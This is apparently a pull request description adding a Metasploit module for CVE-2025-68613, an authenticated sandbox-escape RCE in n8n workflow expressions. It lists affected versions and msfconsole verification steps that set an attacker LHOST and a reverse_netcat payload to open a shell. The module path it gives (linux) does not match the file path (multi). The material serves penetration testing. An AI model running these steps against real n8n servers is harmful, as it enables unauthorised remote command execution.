Add module for CVE 2025 68613

[JohannesLks]

Fixes #20809

Add n8n Workflow Expression RCE (CVE-2025-68613)

This PR adds a new exploit module for CVE-2025-68613, an authenticated Remote Code Execution vulnerability in n8n versions >= 0.211.0 and < 1.120.4.

What does this change do?

Adds exploit/linux/http/n8n_workflow_expression_rce which exploits a sandbox escape in the workflow expression evaluation engine. By injecting specific JavaScript payloads into a Schedule Trigger workflow, authenticated users can execute arbitrary system commands.

Vulnerable Versions Tested: 1.100.0, 1.110.0, 1.119.0

Files Added

• modules/exploits/multi/http/n8n_workflow_expression_rce.rb
• documentation/modules/exploit/multi/http/n8n_workflow_expression_rce.md

Verification

• Start msfconsole
• use exploit/linux/http/n8n_workflow_expression_rce
• set RHOSTS <target_ip>
• set RPORT 5678
• set USERNAME <user>
• set PASSWORD <pass>
• set LHOST <attacker_ip>
• set PAYLOAD cmd/unix/reverse_netcat
• check
• Verify target is detected as vulnerable
• run
• Verify shell session opens
• Verify process execution (e.g., id)

References

• CVE-2025-68613
• https://nvd.nist.gov/vuln/detail/CVE-2025-68613